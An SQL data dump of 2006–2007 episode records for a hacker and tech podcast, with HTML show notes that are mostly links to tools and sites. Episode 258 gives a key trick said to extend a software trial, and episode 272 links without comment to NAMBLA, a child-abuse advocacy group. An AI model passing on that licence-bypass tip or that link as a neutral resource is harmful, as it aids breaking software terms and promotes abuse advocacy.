(183,'2006-11-19','Jokosher',667,'','<br>\r\n<p>This episode was recorded and mixed to wav entirely with Jokosher.  I then used lame to record the mp3, as I usually like to do.  The last second of audio was cut off and try as I might, could not get it to export this last second, but you did not miss anything.  Give jokosher a try and support the <a href=\\\"http://www.jokosher.org\\\">Jokosher Community</a>.  This has the the potential to be a killer audio app for the FOSS community.</p>\r\n<br>\r\n<br>',7,0,1,'CC-BY-NC-SA','',0,0,1),
(184,'2006-11-20','Bad Things',1370,'','<br>\r\n<a href=\\\"http://twatech.org/shownotes/shownotes184.html\"> Show Notes</a> \r\n<br>',35,0,1,'CC-BY-NC-SA','',0,0,1),
(185,'2006-11-29','Twat Radio',60,'','No need to listen to this one guys We will be taking the month of december off to get more backup episodes and more monthly hosts If anyone wants to help out as a monthly host or just sumbit an episode please email us at twat.admin -at- gmail /dot/ com. I want to thank all our hosts for there hard work and hope everyone has a good holiday season.\r\n<br>\r\n-Enigma ',39,0,1,'CC-BY-NC-SA','',0,0,1),
(186,'2007-01-01','SciTE snippets',642,'','A quick intro to SciTE snippets. Touch base on why you should use them, what they do, and how to install it. Any questions just ask my on IRC, I\\\'m always there. Freenode #infonomicon BinRev #binrev<br>\r\n<a href=\\\"http://caladbolg.net/scite.php\\\">SciTE Website</a>\r\n<br>\r\n<a href=\\\"http://scite-tools.googlecode.com/svn/trunk/scripts/scite/snippets.lua\\\">snippets.lua</a><br />\r\n<a href=\\\"http://caladbolg.net/scite.php\\\">SciTE Website</a>\r\n<br><a href=\\\"http://scite-tools.googlecode.com/svn/trunk/scripts/ruby/ruby.lua\\\">ruby.lua</a><br /> \r\n<a href=\\\"http://pastie.caboo.se/30616\\\">My ruby.lua</a><br />',49,0,1,'CC-BY-NC-SA','',0,0,1),
(187,'2007-01-02','Lockpicking',1140,'','\r\nBuy lockpicks & bumping tools: <a href=\\\"http://www.lockpicks.com\\\">www.lockpicks.com</a><br><br>\r\n\r\nLocksport forums:<br>\r\n<a href=\\\"http://www.ezpicking.com\\\">EZ Picking</a><br>\r\n<a href=\\\"http://www.lockpicking101.com\\\">Lockpicking 101</a><br>\r\n<a href=\\\"http://forum.lockpicker.net\\\">Lock Picker Network</a><br><br>\r\n\r\nLocksport clubs:<br>\r\n<a href=\\\"http://www.toool.nl\\\">TOOOL</a><br>\r\n<a href=\\\"http://www.locksport.com\\\">LockSport International</a><br>\r\n<a href=\\\"http://www.bloomingtonfools.org\\\">Fraternal Order Of LockSport</a><br><br>\r\n\r\nOther resources:<br>\r\n<a href=\\\"http://www.lockenpedia.org\\\">Lockenpedia</a><br>\r\n<a href=\\\"http://www.toool.nl/blackbag\\\">BlackBag - Blog of Barry \\\"The Key\\\" of TOOOL</a><br>\r\n',3,0,1,'CC-BY-NC-SA','',0,0,1),
(188,'2007-01-03','Ruby',436,'','<a href=\\\"http://www.ruby-lang.org/en/\\\">Ruby</a><br />\r\n<a href=\\\"http://www.poignantguide.net/ruby\\\">Why\\\'s Poignant Guide and other references</a><br />',12,0,1,'CC-BY-NC-SA','',0,0,1),
(189,'2007-01-08','Pizza, Wii, and OSX',1112,'','No Show notes',50,0,1,'CC-BY-NC-SA','',0,0,1),
(190,'2007-01-10','Twat Remix',431,'','No Show Notes',51,0,1,'CC-BY-NC-SA','',0,0,1),
(191,'2007-01-16','ipod linux',454,'','<a href=\"http://www.ipodlinux.org\\\">http://www.ipodlinux.org </a>\r\n<br>\r\n<a href=\"http://www.it.fht-esslingen.de/~zimmerma/software/ltools.html\"> LTools </a>\r\n<br>\r\n<br>',48,0,1,'CC-BY-NC-SA','',0,0,1),
(192,'2007-01-17','htaccess',642,'','<a href=\\\"http://www.gotroot.com/\\\">http://www.gotroot.com/ </a> <br> <br>\r\n<a href=\\\"http://www.kuznetsov.uklinux.net/robots-tutorial.php\\\"> http://www.kuznetsov.uklinux.net/robots-tutorial.php </a><br><br>\r\n<a href=\\\"http://rmccurdy.com/stuff/TWAT/htaccess\\\"> http://rmccurdy.com/stuff/TWAT/htaccess </a> <br> <br>',36,0,1,'CC-BY-NC-SA','',0,0,1),
(193,'2007-01-18','Application Lock on Windows mobile smart phones',350,'','No Show Notes',41,0,1,'CC-BY-NC-SA','',0,0,1),
(194,'2007-01-21','Smoothwall',974,'','IDS = Intrusion Detection System <br>\r\n<a href=\"http://martybugs.net/smoothwall/\"> http://martybugs.net/smoothwall</a> <br>\r\n<a href=\\\"http://www.smoothwall.org/\\\"> http://www.smoothwall.org/ </a> <br>\r\n<a href=\\\"http://en.wikipedia.org/wiki/Intrusion-detection_system\\\"> http://en.wikipedia.org/wiki/Intrusion-detection_system </a> <br>\r\n<a href=\\\"http://www.netfilter.org/\\\"> Iptables</a> <br>\r\n<a href=\\\"http://www.i-hacked.com/content/view/91/71/\\\"> A Little Howto + links to good mods </a> <br>\r\n<a href=\\\"http://community.smoothwall.org/forum/viewforum.php?f=16\\\">Forum For Mods </a> <br>\r\n<a href=\\\"http://community.smoothwall.org/forum/viewtopic.php?t=2873\\\">  List Of Mods On forum </a> <br>		\r\n<a href=\\\"http://www.i-trash.org/mail/\\\">Contact Me </a><br>',40,0,1,'CC-BY-NC-SA','',0,0,1),
(195,'2007-01-23','Free Online Courses',481,'','Free (Yes, it is free!) Java Programming (with Passion!)Online Course <br>\r\n<br>\r\n<a href=\\\"http://www.javapassion.com/javaintro/\\\"> http://www.javapassion.com/javaintro/ </a> <br>\r\n<br>\r\nReach me at ksmurf99 {at} gmail {dot} com with any questions or any other good courses <br>\r\n<br>\r\n<br>\r\n',21,0,1,'CC-BY-NC-SA','',0,0,1),
(196,'2007-01-24','Raid Arrays',501,'','<a href=\\\"http://en.wikipedia.org/wiki/Redundant_array_of_independent_disks\\\"> Wiki on Raid Arrays </a>\r\n<br>\r\nReach me at twat.admin {at} gmail {dot} com with any questions or comments \r\n<br>\r\n<br>\r\n<br>\r\n<pre>Correction: \r\nRAID 0: Striped Set \r\nRAID 1: Mirrored Set \r\n</pre>\r\n<br>\r\nI switched the two in my recording my mistake thanks to pat and Lord Drachenblut for catching it <br>\r\n<br>\r\nThe recording has been corrected \r\n<br>\r\n<br>',39,0,1,'CC-BY-NC-SA','',0,0,1),
(197,'2007-01-25','LDAP',410,'','No show Notes',52,0,1,'CC-BY-NC-SA','',0,0,1),
(198,'2007-01-29','GIS and Remote Sensing',1159,'','<a href=\\\"http://en.wikipedia.org/wiki/Geographic_information_system\\\"> http://en.wikipedia.org/wiki/Geographic_information_system </a><br>\r\n<br>\r\n<a href=\\\"http://grass.itc.it/download/index.php\\\"> http://grass.itc.it/download/index.php </a> <br>\r\n<br>\r\n<a href=\\\"http://www.geobase.ca/\\\"> \r\nhttp://www.geobase.ca/ </a> <br>\r\n<br>\r\n<a href=\\\"http://www.dpi.inpe.br/spring/english/index.html\\\">\r\nhttp://www.dpi.inpe.br/spring/english/index.html  </a><br>\r\n<br>\r\n\r\n',18,0,1,'CC-BY-NC-SA','',0,0,1),
(199,'2007-01-30','Slast',402,'','<a href=\\\"http://www.slast.org\\\"> www.slast.org </a>\r\n<br>\r\n<br>',1,0,1,'CC-BY-NC-SA','',0,0,1),
(200,'2007-01-31','200th Episode Special',242,'','This one was done for the twat cd at the last <a href=\\\"http://www.notacon.org/\\\"> Notacon </a> and hasn\\\'t been release other than on the cd I figured it would be a good special episode for our 200th --Enjoy\r\n<br>\r\n<br>\r\nthanks to all of our hosts for their hard work \r\n<br>\r\n-Enigma',22,0,1,'CC-BY-NC-SA','',0,0,1),
(201,'2007-02-01','Project management and collaboration via Wiki',546,'','<a href=\\\"http://www.mediawiki.org/wiki/MediaWiki\\\">MediaWiki</a><br><br>\r\n<a href=\\\"http://twiki.org/\\\">TWiki</a><br>\r\n<br>',3,0,1,'CC-BY-NC-SA','',0,0,1),
(202,'2007-02-04','Wacom Tablets',461,'','<a href=\\\"http://linuxwacom.sourceforge.net/index.php/howto/main\\\"> Linux Wacom Tablet Project</a><br />\r\n<a href=\\\"http://hoopajoo.net/tips/content/20.html\\\">Helpful xorg.conf example</a>',12,0,1,'CC-BY-NC-SA','',0,0,1),
(203,'2007-02-06','Performace Monitoring with SysStat',696,'','SYSSTAT package for Linux<br>\r\nSystem performance tuning and performance history tracking is a necessity for Unix hosts that support growing projects and ever demanding users. RRDTool is another package that lets you graphically view this information. Today dosman discusses how to use both packages.<p>\r\n\r\n<a href=\\\"http://perso.orange.fr/sebastien.godard/index.html\\\">sysstat</a><br>\r\n<a href=\\\"http://oss.oetiker.ch/rrdtool/\\\">RRDTool</a><br>\r\nNovell\\\'s <a href=\\\"http://www.novell.com/coolsolutions/tools/15964.html\\\">Linux Monitoring Tool</a> Package<br>\r\n<br>\r\n<br>',3,0,1,'CC-BY-NC-SA','',0,0,1),
(204,'2007-02-07','French for Geeks: How to pick up chicks',1328,'','Seal and the Montreal 2600\r\n<br>\r\n<br>',18,0,1,'CC-BY-NC-SA','',0,0,1),
(205,'2007-02-08','Grid Computing',382,'','No Show Notes\r\n\r\n<br>\r\n<br>\r\n',48,0,1,'CC-BY-NC-SA','',0,0,1),
(206,'2007-02-12','Esperanto',300,'','No Show Notes',53,0,1,'CC-BY-NC-SA','',0,0,1),
(207,'2007-02-13','You are being watched',557,'','No Show Notes\r\n<br>\r\n<br>',36,0,1,'CC-BY-NC-SA','',0,0,1),
(208,'2007-02-15','AJAX',627,'','No Show Notes\r\n<br>\r\n<br>',41,0,1,'CC-BY-NC-SA','',0,0,1),
(209,'2007-02-22','Etherboot',1383,'','No Show Notes',54,0,1,'CC-BY-NC-SA','',0,0,1),
(210,'2007-02-25','RFA Remix #1 - Hacker Manifesto',344,'','This clip orginally is from <a href=\"http://www.oldskoolphreak.com/radio.html\"> Radio freek america 40 </a> which aired on 12/04/02\r\n\r\n<br>\r\n<br>',55,0,1,'CC-BY-NC-SA','',0,0,1),
(211,'2007-03-04','New Projects',514,'','<a href=\\\"http://www.hackerevents.org\\\"> www.hackerevents.org </a>\r\n<br>\r\n<br>\r\n<a href=\\\"http://www.eth0enigma.com\\\"> www.eth0enigma.com </a>\r\n<br>\r\n<br>\r\n<a href=\\\"http://813.binrevmeetings.com\\\"> Tampa Binrev meeting </a>\r\n<br>\r\n<br>\r\n<a href=\\\"http://www.insecuretech.com\\\"> www.insecuretech.com </a>\r\n<br>\r\n<br>\r\n<a href=\\\"http://www.wirelink.org\\\"> www.wirelink.org </a>\r\n<br>\r\n<br>\r\n\r\n',39,0,1,'CC-BY-NC-SA','',0,0,1),
(212,'2007-03-05','SNMP',641,'','No Show Notes\r\n<br>\r\n<br>',56,0,1,'CC-BY-NC-SA','',0,0,1),
(213,'2007-03-06','Natural Language Selection and AI',321,'','No Show Notes\r\n<br>\r\n<br>',57,0,1,'CC-BY-NC-SA','',0,0,1),
(214,'2007-03-07','VMWare clustering',514,'','No Show Notes',48,0,1,'CC-BY-NC-SA','',0,0,1),
(215,'2007-03-08','Free Dos',402,'','No Show Notes',42,0,1,'CC-BY-NC-SA','',0,0,1),
(216,'2007-03-12','Amazon Simple Storage Services',1024,'','<ul>\r\n<li><a href=\\\"http://www.amazon.com/S3-AWS-home-page-Money/b/ref=sc_fe_l_2/104-1189807-0595127?ie=UTF8&node=16427261&no=3435361&me=A36L942TSJ2AJA\\\">Amazon S3</a></li>\r\n<li><a href=\\\"http://www.jungledisk.com/index.shtml\\\">Jungle Disk</a></li>\r\n<li><a href=\\\"http://jets3t.s3.amazonaws.com/index.html\\\">JetS3</a></li>\r\n<li><a href=\\\"http://www.rjonna.com/ext/s3fox.php\\\">S3Fox</a></li>\r\n</ul>\r\nSong:  Vienna Sausage by <a href=\\\"http://www.junkboxmusic.com\\\">Junkbox</a>  \r\n',7,0,1,'CC-BY-NC-SA','',0,0,1),
(217,'2007-03-13','Nikto',383,'','No Show Notes',36,0,1,'CC-BY-NC-SA','',0,0,1),
(218,'2007-03-14','SIDs',674,'','<ul>\r\n<li><a href=\\\"http://www.microsoft.com/technet/sysinternals/FileAndDisk/PsTools.mspx\\\">PsTools</a></li>\r\n<li><a href=\\\"http://www.microsoft.com/technet/sysinternals/utilities/psgetsid.mspx\\\">PsGetSId</a></li>\r\n<li><a href=\\\"http://www.microsoft.com/technet/sysinternals/SystemInformation/PsInfo.mspx\\\">PsInfo</a></li>\r\n<li><a href=\\\"http://www.microsoft.com/technet/sysinternals/Security/NewSid.mspx\\\">NewSid</a></li>\r\n</ul>',52,0,1,'CC-BY-NC-SA','',0,0,1),
(219,'2007-03-19','Skype Wardialing',1242,'','No Show Notes\r\n<br>\r\n',58,0,1,'CC-BY-NC-SA','',0,0,1),
(220,'2007-03-20','GIS and iSCSI',1255,'','This is just a rundown of both iSCSI and GFS technologies.\r\nThe relative merits of each are compared against other similar\r\npurpose technologies.<br><br>',54,0,1,'CC-BY-NC-SA','',0,0,1),
(221,'2007-03-25','Binrev Remix #1 - Hackermedia',1437,'','this episode is a clip from episode 160 of binary Revolution Radio',1,0,1,'CC-BY-NC-SA','',0,0,1),
(222,'2007-03-26','Apple breaking thru',308,'','apples corporate anthem 1980\\\'s style\r\n<br>\r\n<br>',39,0,1,'CC-BY-NC-SA','',0,0,1),
(223,'2007-03-27','Maxivista',831,'','No show notes\r\n<br>',58,0,1,'CC-BY-NC-SA','',0,0,1),
(224,'2007-03-28','RFA Remix #2 Free Thinking ',659,'','original clip from Radio Freak America #54\r\n<br>\r\n<br>',55,0,1,'CC-BY-NC-SA','',0,0,1),
(225,'2007-03-29','Free Router! (till the 31st)',703,'','<a href=\\\"http://www.i-trash.org/?ls=Twatech\\\"> show notes </a> <br> <br>',40,0,1,'CC-BY-NC-SA','',0,0,1),
(226,'2007-04-03','Metasploit 3',740,'','<a href=\\\"http://www.metasploit.com/\\\">Metasploit Project</a><br />\r\nNot much to write up, just take a listen.<br />\r\nNote: Some of the information is a few weeks out of date, metasploit 3 has been released now and I\'m assuming that the web interface does work correctly.',12,0,1,'CC-BY-NC-SA','',0,0,1),
(227,'2007-04-04','Helix',657,'','\r\n<a href=\\\"http://www.e-fense.com/helix/\\\"> helix </a>\r\n<br>\r\n<a href=\\\"http://www.sleuthkit.org/autopsy/\\\"> autopsy </a>\r\n<br>\r\n<br>',39,0,1,'CC-BY-NC-SA','',0,0,1),
(228,'2007-04-05','Vmware lab',437,'','No Show Notes\r\n<br>\r\n<br>\r\n',58,0,1,'CC-BY-NC-SA','',0,0,1),
(229,'2007-04-08','NetSnmp',193,'','No Show Notes\r\n<br>\r\n<br>',48,0,1,'CC-BY-NC-SA','',0,0,1),
(230,'2007-04-09','Notacon Radio',450,'','<a href=\\\"http://www.notaconradio.org\\\"> Notaconradio.org </a>\r\n<br>\r\n<br>',42,0,1,'CC-BY-NC-SA','',0,0,1),
(231,'2007-04-10','Hosting a Lan Party',1364,'','No Show notes\r\n<br>\r\n<br>',56,0,1,'CC-BY-NC-SA','',0,0,1),
(232,'2007-04-12','portable apps',575,'','<a href=\\\"http://feeds.rmccurdy.com\\\"> http://feeds.rmccurdy.com </a> <br>\r\n<a href=\\\"http://en.wikipedia.org/wiki/Friday_the_13th\\\"> http://en.wikipedia.org/wiki/Friday_the_13th </a> <br>\r\n<a href=\\\"http://portableapps.com\\\"> http://portableapps.com </a> <br>\r\n<a href=\\\"http://cse.msstate.edu/%7Erwm8/hackingU3/\\\"> http://cse.msstate.edu/%7Erwm8/hackingU3/ </a> <br>\r\n<a href=\\\"http://rmccurdy.com/scripts/ftp.txt\\\"> http://rmccurdy.com/scripts/ftp.txt </a> <br>\r\n<a href=\\\"http://rmccurdy.com/scripts/firefox.txt\\\"> http://rmccurdy.com/scripts/firefox.txt </a> <br>\r\n<br>\r\n<br>\r\nmusic: <br>\r\nLady Sovereign_Public Warning\\\\06-my_england_192_lame_cbr.mp3 <br>\r\nJoanna_Newsom Peach, Plum, Pear<br>\r\n<br>',36,0,1,'CC-BY-NC-SA','',0,0,1),
(233,'2007-04-16','Gigavox Levelator',625,'','<a href=\\\"http://www.gigavox.com/levelator\\\">Levelator Download</a> <br> <br>\r\n',7,0,1,'CC-BY-NC-SA','',0,0,1),
(234,'2007-04-17','gtkdialog',550,'','droops talks about gtkdialog, an easy way of adding a gui to your bash scripts and beyond.\r\n<p />\r\n<a href=\\\"http://linux.pte.hu/~pipas/gtkdialog/\\\">gtkdialog homepage</a>\r\n<p />\r\n<a href=\\\"http://linux.pte.hu/~pipas/gtkdialog/screenshots.html\\\">gtk example screenshots</a>\r\n<p />\r\n<a href=\\\"http://infonomicon.org/text/gtkdialog_twat.txt\\\">droops\\\' network manager for twat\r\n<p />',1,0,1,'CC-BY-NC-SA','',0,0,1),
(235,'2007-05-07','BBS ',2201,'','a good interview about the history of BBS\\\'s ',59,0,1,'CC-BY-NC-SA','',0,0,1),
(236,'2007-05-08','Notacon wrapup',1349,'','<a href=\\\"http://www.notacon.org\\\">Notacon</a><br>\r\n<a href=\\\"http://demoparty.us/2007/wrapup.shtml\\\">BlockParty Wrapup</a><br>\r\n<a href=\\\"http://www.irongeek.com\\\">Irongeek\\\'s video from Notacon 4</a><br>\r\n<a href=\\\"http://www.notaconbathroomcam.com\\\">Notacon bathroom cam</a><br>\r\n<a href=\\\"http://www.hackerfoundation.org/wiki/index.php/Hackers_on_a_Plane\\\"> Hackers on a Plane</a><br>\r\n<a href=\\\"http://www.haycon.info\\\">Haycon</a><br>\r\n<br>',3,0,1,'CC-BY-NC-SA','',0,0,1),
(237,'2007-05-10','Picture Frames',967,'','No Show notes\r\n<br>\r\n<br>\r\n',58,0,1,'CC-BY-NC-SA','',0,0,1),
(238,'2007-05-11','The Computer Code hoedown',227,'','original audio by Shane Killian can be found at <br>\r\n<a href=\\\"http://audio.textfiles.com\\\"> audio.textfiles.com </a>\r\n<br>\r\n<br>',39,0,1,'CC-BY-NC-SA','',0,0,1),
(239,'2007-05-14','Myth TV',979,'','<a href=\\\"http://www.mythtv.org/\\\">http://www.mythtv.org/ </a>\r\n<br>\r\n<br>\r\n<a href=\\\"http://en.wikipedia.org/wiki/KnoppMyth\\\"> KnoppMyth wiki </a>',36,0,1,'CC-BY-NC-SA','',0,0,1),
(240,'2007-05-15','PWF',1659,'','<a href=\"http://www.oldskoolphreak.com\\\"> www.oldskoolphreak.com </a><br>\r\n<a href=\"http://www.oldskoolphreak.com/tfiles/pwf.txt\\\">www.oldskoolphreak.com/tfiles/pwf.txt </a><br>\r\n<a href=\"http://www.bellcoreradio.net\\\"> www.bellcoreradio.net </a><br>\r\n<a href=\"http://www.walmart.com\\\"> www.walmart.com </a><br>\r\n<br>',60,0,1,'CC-BY-NC-SA','',0,0,1),
(241,'2007-05-17','Text Editors of Choice',624,'','\r\n\r\n<a href=\\\"http://www.jedit.org\\\">Jedit</a>',7,0,1,'CC-BY-NC-SA','',0,0,1),
(242,'2007-05-21','Powering Up Windows',853,'','This is just a rundown of what can be done to turn a standard Windows installation into a more powerful OS. <br>\r\n<br>\r\n<a href=\\\"http://tinyurl.com/e5x2t\\\"> Windows Powershell info and download </a> <br>\r\n<a href=\\\"http://tinyurl.com/yfhasd\\\"> VBScript to Powershell conversion reference </a> <br>\r\n<a href=\\\"http://tinyurl.com/34oyc4\\\"> Sysinternals utilities info and download </a> <br>\r\n<a href=\\\"http://www.mingw.org/\\\">GNU tool sets </a> <br>\r\n<a href=\\\"http://www.cygwin.com/\\\">Cygwin </a> <br>\r\n<br>\r\n\r\n \r\n',54,0,1,'CC-BY-NC-SA','',0,0,1),
(243,'2007-05-22','Genetic Algorithms',611,'','<pre>The applications of genetic algorithms include:\r\n\r\nArtificial Creativity \r\nAutomated design\r\nCode-breaking\r\nDesign of water distribution systems\r\nElectronic circuit design\r\nFile allocation for a distributed system. \r\nGame Theory Equilibrium Resolution. \r\nLearning Robot behavior\r\nMolecular Structure Optimization\r\nProtein folding \r\nTimetabling problems\r\nTraining artificial neural networks\r\nand the Traveling Salesman Problem. \r\n</pre><br>\r\n<br>\r\n',61,0,1,'CC-BY-NC-SA','',0,0,1),
(244,'2007-05-24','Video Compression',507,'','No show Notes <br>\r\n<br>',58,0,1,'CC-BY-NC-SA','',0,0,1),
(245,'2007-05-28','Descrambled ',522,'','Joe Wecker of Don\\\'t Eat Pete sings the algorithm of DVDdescramble.c. Removed from mp3.com for its allegedly \\\"offensive lyrics\\\". <br>original audio at <a href=\\\"http://audio.textfiles.com\\\"> audio.textfiles.com </a> <br>\r\n<br>',39,0,1,'CC-BY-NC-SA','',0,0,1),
(246,'2007-05-30','daap',291,'','<a href=\\\"http://angrytelecomgeek.blogspot.com/2007/05/media-streaming-with-itunes-ubuntu-and.html\\\"> Media Streaming with I-Tunes, Ubuntu and mt-daapd </a><br>\r\n<br>',19,0,1,'CC-BY-NC-SA','',0,0,1),
(247,'2007-05-31','Binrev Remix #2 Deadly Halon!',885,'','original audio from <a href=\\\"http://www.binrev.com/radio/archive/binrev011.mp3\\\"> Binrev Radio Episode 11 </a>',55,0,1,'CC-BY-NC-SA','',0,0,1),
(248,'2007-06-01','H.264 Standard',432,'','\r\n<a href=\\\"http://en.wikipedia.org/wiki/H264\\\">Wikipedia - H.264 Standard</a> <br>\r\n<br>\r\n',58,0,1,'CC-BY-NC-SA','',0,0,1),
(249,'2007-06-07','So You Got Your Lame Ass Sued',3743,'','original audio from Defcon 9 presentation\r\n<br>\r\n<br>',13,0,1,'CC-BY-NC-SA','',0,0,1),
(250,'2007-06-08','PanoTools',502,'','<a href=\\\"http://www.kekus.com/\\\">www.kekus.com </a> <br>\r\n<a href=\\\"http://hugin.sourceforge.net\\\"> </a> <br> \r\n<a href=\"http://hugin.sourceforge.net\"> http://hugin.sourceforge.net </a> <br>\r\n<a href=\\\"http://panotools.info\\\"> http://panotools.info </a> <br>\r\n<a href=\\\"http://panotools.org\\\"> http://panotools.org </a> <br>\r\n\r\n',48,0,1,'CC-BY-NC-SA','',0,0,1),
(251,'2007-06-11','Projectors',761,'','<a href=\\\"http://muonics.net/blog/index.php?postid=15\\\">GRL Laser Tag</a><br>\r\n<a href=\\\"http://www.crazysquirrel.com/diy/projector-screen.jspx\\\">DIY Projector screens</a><br>',3,0,1,'CC-BY-NC-SA','',0,0,1),
(252,'2007-06-13','Network Access Control',1006,'','No Show Notes <br>\r\n<br>',62,0,1,'CC-BY-NC-SA','',0,0,1),
(253,'2007-06-14','Diversions',659,'','3 Diversions: <br>\r\n<br>\r\nKnetwalk - no url, sorry - check your distro repository <br>\r\nBriquolo - <a href=\\\"http://briquolo.free.fr\\\"> http://briquolo.free.fr </a> <br>\r\ndeskbar applet - <a href=\\\"http://raphael.slinckx.net/deskbar\\\"> http://raphael.slinckx.net/deskbar </a> <br>\r\n<br>\r\nhave fun. <br>\r\n<br>',7,0,1,'CC-BY-NC-SA','',0,0,1),
(254,'2007-06-15','stimulants',515,'','No Show Notes <br>\r\n<br>',63,0,1,'CC-BY-NC-SA','',0,0,1),
(255,'2007-06-18','Wireless Fun: Macbook Pro',583,'','<p>Wireless Fun on a Macbook Pro - Part One</p>\r\n<p><a href=\\\"http://www.istumbler.net/\\\">iStumbler website</a></p>\r\n<p><a href=\\\"http://kismac.de/\\\">kismac website</a></p>\r\n<p><a href=\\\"http://www.kismetwireless.net/Forum/Equipment/Messages/1170919945.7235651\\\">getting kismac to work on Macbook Pro</a></p>\r\n<p><a href=\\\"http://www.wireshark.org/download.html\\\">Get you sum Wireshark</a></p> <br>',16,0,1,'CC-BY-NC-SA','',0,0,1),
(256,'2007-06-19','alkix live cd ',775,'','<a href=\\\"http://www.alkix-live.com/\\\"> Alkix Live Cd </a> <br> <br>',64,0,1,'CC-BY-NC-SA','',0,0,1),
(257,'2007-06-20','plsql',4169,'','No Show Notes <br>\r\n<br>',55,0,1,'CC-BY-NC-SA','',0,0,1),
(258,'2007-06-27','mindmanager',309,'','\r\n<a href=\\\"http://www.mindjet.com/us/\\\">Mindjet Home Page</a>\r\n\r\n<br>\r\n\r\n\r\nCtrl+Shit+Alt+T brings 5 day trial into 21 day mode.<br>\r\n<br>',58,0,1,'CC-BY-NC-SA','',0,0,1),
(259,'2007-06-27','How to make a Twat Ep',1744,'','No show notes <br>\r\n<br>',60,0,1,'CC-BY-NC-SA','',0,0,1),
(260,'2007-07-02','Pidgeon Cam',845,'','No Show notes <br>\r\n<br>',3,0,1,'CC-BY-NC-SA','',0,0,1),
(261,'2007-07-09','NAS',1300,'','No show notes <br>\r\n<br>',55,0,1,'CC-BY-NC-SA','',0,0,1),
(262,'2007-07-11','zoneminder',336,'','No show notes <br>\r\n<br>\r\n\r\n\r\n',58,0,1,'CC-BY-NC-SA','',0,0,1),
(263,'2007-07-13','wubi installer and network extraction',662,'','<a href=\\\"http://wubi-installer.org/\\\"> http://wubi-installer.org/ </a> <br>\r\n<br>\r\n<a href=\\\"http://room362.com\\\"> room362.com </a>',62,0,1,'CC-BY-NC-SA','',0,0,1),
(264,'2007-07-16','This old hack',1488,'','Part 1 <br>\r\n<br>',66,0,1,'CC-BY-NC-SA','',0,0,1),
(265,'2007-07-17','nokia 770',312,'','<a href=\\\"http://www.nokiausa.com/770\\\"> nokiausa.com/770 </a> <br>\r\n<a href=\\\"http://www.maemo.org\\\"> maemo.org </a>\r\n<br>\r\n<br>',48,0,1,'CC-BY-NC-SA','',0,0,1),
(266,'2007-07-19','Package Management on OSX',640,'','<p>\r\n<a href=\\\"http://www.macports.org\\\">MacPorts Official Site</a><br />\r\n<a href=\\\"http://trac.macosforge.org/projects/macports/wiki/InstallingMacPorts\\\">MacPorts Installation Instructions</a><br />\r\n<a href=\\\"http://www.finkproject.org\\\">Fink Project Official Site</a>\r\n</p>',16,0,1,'CC-BY-NC-SA','',0,0,1),
(267,'2007-07-27','trixbox',433,'','<a href=\\\"http://www.trixbox.org/\\\"> trixbox.org </a>\r\n<br>\r\n<br>',58,0,1,'CC-BY-NC-SA','',0,0,1),
(268,'2007-07-30','ManHole Funk',204,'','No Show Notes <br>\r\n<br>',65,0,1,'CC-BY-NC-SA','',0,0,1),
(269,'2007-08-02','Windows Tricks',523,'','No Show notes <br>\r\n<br>',67,0,1,'CC-BY-NC-SA','',0,0,1),
(270,'2007-08-08','sql injection',621,'','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n\r\n\r\n <a href=\\\"http://www.sqlpowerinjector.com/\\\">SQL Power Injector </a> <br>\r\n<a href=\\\"http://www.priamos-project.com/demo.htm\\\"> PRIAMOS </a> <br>\r\n<a href=\\\"http://www.0x90.org/releases/absinthe/download.php \\\"> Absinthe </a><br>\r\n\r\n<a href=\\\"http://www.twatech.org/agentinfo.php?host=operat0r\\\"> twat episode mod_security </a> <br>\r\n\r\n',36,0,1,'CC-BY-NC-SA','',0,0,1),
(271,'2007-08-09','Avoid Cpu Billing',834,'','<a href=\\\"http://www.cs.huji.ac.il/~dants/papers/Cheat07Security.pdf\\\"> http://www.cs.huji.ac.il/~dants/papers/Cheat07Security.pdf </a> <br> <br>',58,0,1,'CC-BY-NC-SA','',0,0,1),
(272,'2007-08-16','NAMBLA',482,'','<a href=\\\"http://www.nambla.org\\\"> Nambla </a>\r\n<br>\r\n<br>',60,0,1,'CC-BY-NC-SA','',0,0,1),
(273,'2007-08-22','ChatBots',512,'','Play with<br>\r\n<a href=\\\"http://www-ai.ijs.si/eliza-cgi-bin/eliza_script\\\"> http://www-ai.ijs.si/eliza-cgi-bin/eliza_script </a> <br>\r\n<a href=\\\"http://www.alicebot.org/\\\"> http://www.alicebot.org/ </a> <br>\r\n<a href=\\\"http://www.sitechatters.com/\\\"> http://www.sitechatters.com/ </a> <br>\r\n<a href=\\\"http://library.thinkquest.org/19314/langprog.htm\\\"> http://library.thinkquest.org/19314/langprog.htm </a> <br>\r\n<a href=\\\"http://www.alicebot.org/superbot.html\\\"> http://www.alicebot.org/superbot.html </a> <br>\r\nread: <br>\r\n<a href=\\\"http://cogsci.ucsd.edu/%7Ebatali/108b/lectures/natlang.txt\\\"> http://cogsci.ucsd.edu/%7Ebatali/108b/lectures/natlang.txt </a> <br>\r\n<a href=\\\"http://www.toddhester.net/chatbot.html\\\"> http://www.toddhester.net/chatbot.html </a> <br>\r\n<br>\r\n',57,0,1,'CC-BY-NC-SA','',0,0,1),
(274,'2007-08-23','Botanicalls',645,'','<a href=\\\"http://www.botanicalls.com\\\"> botanicalls.com </a> <br>\r\n<br>',25,0,1,'CC-BY-NC-SA','',0,0,1),
(275,'2007-08-29','Wireless Fun Part 2',553,'','<p>\r\n<a href=\\\"http://www.macports.org\\\">MacPorts Official Site</a><br />\r\n<a href=\\\"http://trac.macosforge.org/projects/macports/wiki/InstallingMacPorts\\\">MacPorts Installation Instructions</a><br />\r\n<a href=\\\"http://www.finkproject.org\\\">Fink Project Official Site</a>\r\n</p>\r\n<br>',16,0,1,'CC-BY-NC-SA','',0,0,1),
(276,'2007-08-30','The Age old Question',1230,'','orginal audio Binrev Radio 16\r\n<br>\r\n<br>',55,0,1,'CC-BY-NC-SA','',0,0,1),
(277,'2007-08-31','this old hack part 2',3633,'','part 2 of 3 \r\n<br>\r\n<br>',66,0,1,'CC-BY-NC-SA','',0,0,1),
(278,'2007-09-04','Cmake',933,'','<a href=\\\"http://www.cmake.org\\\"> www.cmake.org </a>\r\n<br>\r\n<br>',69,0,1,'CC-BY-NC-SA','',0,0,1),
(279,'2007-09-06','Curl',416,'','No show notes\r\n<br>\r\n<br>',36,0,1,'CC-BY-NC-SA','',0,0,1),
(280,'2007-09-07','Storage Space',955,'','No Show Notes\r\n<br>\r\n<br>',58,0,1,'CC-BY-NC-SA','',0,0,1),
